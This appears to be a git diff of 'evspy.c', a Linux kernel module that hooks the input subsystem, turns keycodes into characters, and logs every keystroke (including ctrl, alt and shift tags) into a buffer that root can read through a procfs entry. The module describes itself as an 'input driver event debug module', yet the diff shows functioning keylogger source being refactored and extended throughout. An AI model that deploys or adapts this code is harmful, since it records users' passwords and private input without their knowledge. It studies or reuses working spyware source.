diff options
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r-- | evspy/evspy.c | 149 |
1 files changed, 88 insertions, 61 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c index 819a914..3216a62 100644 --- a/evspy/evspy.c +++ b/evspy/evspy.c @@ -41,9 +41,22 @@ static char *buffer; static char *rdp; static char *wrp; -static char tag[] = "<+XXX>"; -static unsigned int blkmayus_state = FREE; +static char *map = EVS_MAP; // The current keyboard layout +// This is how special keys will be displayed (+: pressed / -: freed) +static char sp_tag[] = "<+XXX>"; + + +/* + * Sometimes when blkmayus is pressed two identical events are triggered. + * blkmayus_state is meant to know if it has been already pressed, + * and discards the second event in that case + */ +static unsigned int blkmayus_state = EVS_VAL_FREE; + +/* + * Executed when the procfs file is read (EVS_PROCNAME) + */ int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) { @@ -51,11 +64,16 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, int retval = 0; int diff = wrp - rdp; + // root only plz if (current_uid() || current_euid()) { - n = MIN(10, count); - strncpy(page, "Trolololo", n); +#if EVS_TROLL == 1 + n = MIN(36, count); + strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); *eof = 1; return n; +#else + return -EPERM; +#endif } if (diff > 0) { @@ -65,7 +83,7 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, retval = n; } else if (diff < 0) { - toend = (buffer + BUFSIZE) - rdp; + toend = (buffer + EVS_BUFSIZE) - rdp; n = MIN(toend, count); strncpy(page, rdp, n); retval = n; @@ -85,98 +103,108 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, return retval; } -void special_char(unsigned int code, unsigned int value) +/* + * Handle unknown/special key events + */ +static void special_char(unsigned int code, unsigned int value) { - int known = 1; int i; + int known = 1; - // Elimina eventos de "despulsado" para teclas no deseadas + // We don't care when some keys are freed switch(code) { - case RMAYUS: - case LMAYUS: - case ALT: - case LCTRL: - case RCTRL: - case ALTGR: + case EVS_COD_RMAYUS: + case EVS_COD_LMAYUS: + case EVS_COD_ALT: + case EVS_COD_LCTRL: + case EVS_COD_RCTRL: + case EVS_COD_ALTGR: break; default: - if (value == FREE) + if (value == EVS_VAL_FREE) return; } switch(code) { - case RMAYUS: - case LMAYUS: - strncpy(tag+2, "MAY", 3); + case EVS_COD_RMAYUS: + case EVS_COD_LMAYUS: + strncpy(sp_tag+2, "MAY", 3); break; - case ALT: - strncpy(tag+2, "ALT", 3); + case EVS_COD_ALT: + strncpy(sp_tag+2, "ALT", 3); break; - case ALTGR: - strncpy(tag+2, "AGR", 3); + case EVS_COD_ALTGR: + strncpy(sp_tag+2, "AGR", 3); break; - case LCTRL: - case RCTRL: - strncpy(tag+2, "CTR", 3); + case EVS_COD_LCTRL: + case EVS_COD_RCTRL: + strncpy(sp_tag+2, "CTR", 3); break; - case TAB: - strncpy(tag+2, "TAB", 3); + case EVS_COD_TAB: + strncpy(sp_tag+2, "TAB", 3); break; - case ESC: - strncpy(tag+2, "ESC", 3); + case EVS_COD_ESC: + strncpy(sp_tag+2, "ESC", 3); break; - case UP_AR: - strncpy(tag+2, "A^^", 3); + case EVS_COD_UP_AR: + strncpy(sp_tag+2, "^^A", 3); break; - case DOWN_AR: - strncpy(tag+2, "Avv", 3); + case EVS_COD_DOWN_AR: + strncpy(sp_tag+2, "vvA", 3); break; - case LEFT_AR: - strncpy(tag+2, "A<<", 3); + case EVS_COD_LEFT_AR: + strncpy(sp_tag+2, "<<A", 3); break; - case RIGHT_AR: - strncpy(tag+2, "A>>", 3); + case EVS_COD_RIGHT_AR: + strncpy(sp_tag+2, ">>A", 3); break; default: known = 0; } if (!known && isfX(code)) { - strncpy(tag+2, "F??", 3); + // TODO: Which F key has been pressed? + strncpy(sp_tag+2, "F??", 3); } else if (!known) { -// strncpy(tag+2, "UNK", 3); +// strncpy(sp_tag+2, "UNK", 3); // Uncomment this to display unknown events return; } - if (value == PRESS) - tag[1] = '+'; - else if (value == FREE) - tag[1] = '-'; + if (value == EVS_VAL_PRESS) + sp_tag[1] = '+'; + else if (value == EVS_VAL_FREE) + sp_tag[1] = '-'; - for (i = 0; i < sizeof(tag) - 1; i++) - ins(tag[i]); + for (i = 0; i < sizeof(sp_tag) - 1; i++) + evs_insrt(sp_tag[i]); } static void evspy_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) { - if (type == EV_BLKMAYUS) { - // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS + // Ignore hold-key events + if (unlikely(value == EVS_VAL_HOLD)) + return; + + // If bloq mayus is pressed, handle it the same way as left mayus + if (type == EVS_TYPE_BLKMAYUS) { if (value != blkmayus_state) - special_char(LMAYUS, value); - if (value == PRESS) - blkmayus_state = PRESS; - else if (value == FREE) - blkmayus_state = FREE; + special_char(EVS_COD_LMAYUS, value); + blkmayus_state = value; return; - } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) { + } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { return; } - if (map_es[code] == '.' && likely(code != DOT)) + + // Special/unknown keys (alt, ctrl, esc, mayus, etc) + if (map[code] == '.' && likely(code != EVS_COD_DOT)) special_char(code, value); - else if (value == PRESS) - ins(map_es[code]); + + // "Direct" keys (alphanumeric + some symbols) + else if (value == EVS_VAL_PRESS) { + evs_insrt(map[code]); + } } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, @@ -234,9 +262,8 @@ static struct input_handler evspy_handler = { static int __init evspy_init(void) { - create_proc_read_entry(PROCNAME, 0, NULL, - evspy_read_proc, NULL); - buffer = kmalloc(BUFSIZE, GFP_KERNEL); + create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); + buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); rdp = buffer; wrp = buffer; return !buffer || input_register_handler(&evspy_handler); @@ -245,14 +272,14 @@ static int __init evspy_init(void) static void __exit evspy_exit(void) { kfree(buffer); - remove_proc_entry(PROCNAME, NULL); + remove_proc_entry(EVS_PROCNAME, NULL); input_unregister_handler(&evspy_handler); } module_init(evspy_init); module_exit(evspy_exit); -MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>"); +MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); MODULE_DESCRIPTION("Custom input driver event debug module"); MODULE_LICENSE("GPL"); |